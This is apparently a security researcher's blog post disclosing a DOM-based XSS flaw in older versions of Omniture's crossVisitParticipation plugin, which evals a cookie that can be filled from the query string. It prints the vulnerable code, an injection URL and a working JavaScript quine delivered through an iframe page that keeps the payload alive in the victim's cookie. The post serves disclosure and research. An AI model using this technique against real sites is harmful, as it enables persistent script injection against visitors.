It was a typical 'eval(cookieValue)' which is bad from a security perspective, but there is
something more interesting which made me think to write a post about it, since the attack vector was kind of advanced and the model here is different from "traditional" mashups.
In fact in the Omniture case, companies have to save an auto generated JS and host it on their own websites.
This means updates are directly tied to a local site administration policy, and no real time update is possible.
Long story short, I found out it's possible for some versions of crossVisitParticipation plugin
to overwrite the cookie in a way it's possible to let the eval do whatever an attacker
wants abusing the query string.
Let's have a look at the vulnerable code:
// function crossVisitParticipation
1: function anonymous(v, cn, ex, ct, dl, ev) {
2: var s = this;
3: var ay = s.split(ev, ",");
4: for (var u = 0; u < ay.length; u++) {
5: if (s.events && s.events.indexOf(ay[u]) != -1) {
6: s.c_w(cn, "");
7: return "";
8: }
9: }
10: if (!v || v == "") {
11: return "";
12: }
13: var arry = new Array;
14: var a = new Array;
15: var c = s.c_r(cn);
16: var g = 0;
17: var h = new Array;
18: if (c && c != "") {
19: arry = eval(c); // Sink Here from Cookie Value!!
20: }
21: var e = new Date;
22: e.setFullYear(e.getFullYear() + 5);
23: if (arry.length > 0 && arry[arry.length - 1][0] == v) {
24: arry[arry.length - 1] = [v, (new Date).getTime()];
25: } else {
26: arry[arry.length] = [v, (new Date).getTime()];
27: }
28: var data = s.join(arry, {delim: ",", front: "[", back: "]", wrap: "'"});
29: var start = arry.length - ct < 0 ? 0 : arry.length - ct;
30: s.c_w(cn, data, e); // after eval'ed it's rewritten in form of cookie.
31: for (var x = start; x < arry.length; x++) {
32: var diff = Math.round(new Date - new Date(parseInt(arry[x][1]))) / 86400000; 33: if (diff < ex) {
34: h[g] = arry[x][0];
35: a[g++] = arry[x];
36: }
37: }
38: var r = s.join(h, {delim: dl});
39: return r;
40: }
which is called from another method:
if(!b.campaign){
b.campaign=b.getQueryParam("cid");
b.campaign=b.getValOnce(b.campaign,"ecamp",0)
}
b.eVar14=b.crossVisitParticipation(b.campaign,"s_cpm","90","5",">","purchase");
Even if, by digging into all versions, I found that only crossVisitParticipation plugin version <1.4 seems to be directly exploitable from the query string, I also found that some big sites in top 100k Alexa are still vulnerable.
That said, from my (app sec researcher) point of view I can see something interesting, which is the attack vector.
Easily, an attacker could use a simple one time injection like the following:
//The correct parameter depends on the Omniture user, so let's suppose as seen in the code "cid" parameter is the one:
http://omnitureClientHost/?#cid=aa'+alert(1)+'
but since the cookie is rewritten (Line 30) using the eval'ed object the attacker would loose the payload. So we can actually create something that after it's eval'ed it'll be he same, also called a (Javascript) Quine.
My favourite source is sla.ckers.org, and a wonderful quine thread is here. So I just needed to understand the principles of Js Quines and I finally made a working one for this specific case.
In the Omniture case an attacker needs to add the quine in the cookie and then force the eval using a new value for the cid:
<script>
function go(){
var if2=document.getElementById("x2");
if2.onload=go2
if2.src="http://xxx/?&#&cid=143'+(_=/[,\"'+(_=\"+_+_(_,alert(document.domain)))+']+/,\"'+(_=\"+_+_(_,alert(document.domain)))+'sss&aa=ddddeee"
}
function go2(){
var if2=document.getElementById("x");
if2.src="http://xxx/?&cid=143"+Math.random()
}
</script>
<body onload='go()'>
<iframe id='x' src="about:blank"></iframe>
<iframe id='x2' src="about:blank" ></iframe>
The attack vector will be firstly executed and then rewritten each time as it is as each quine should do.
So every time the victim will visit the vulnerable site with a new cid the Xss will be triggered.
As a side note we can see in the Omniture code, line 24, that the value of b.campaign is directly added to the cookie;
versions >=1.4 use v=escape(v) which blocks any direct attack from the query string.
BTW, this issue was found using my next to release tool DOMinator - DOMXss finder.
Stay tuned for news about it.
PS. I know is not really clear for faint of heart JS DOM Xss noobs, but sites out there are still vulnerable, sooo..keep researching and you'll discover the magic of this brand new DOMXss world.
PPS. Tom Keetch (@tkeetch) publicly released an advisory
concerning an Omniture attack using Cookie Forcing
by Chris Evans (@scarybeasts).
This attack can be achieved in Man in the Middle or shared browser Kiosk situations.
My research is mostly focused to remotely exploitable stuff, but in this case the quine can be, obviously, applied to this as well, so kudos to Tom and Chris for finding this, doable even if less reliable, attack scenario.
PPPS. Adobe Omniture released a new version (1.7) of the plugin which should mitigate any attack against it, so you're invited to upgrade it. And, please, start thinking about 3rd party JS as worth of risk identification.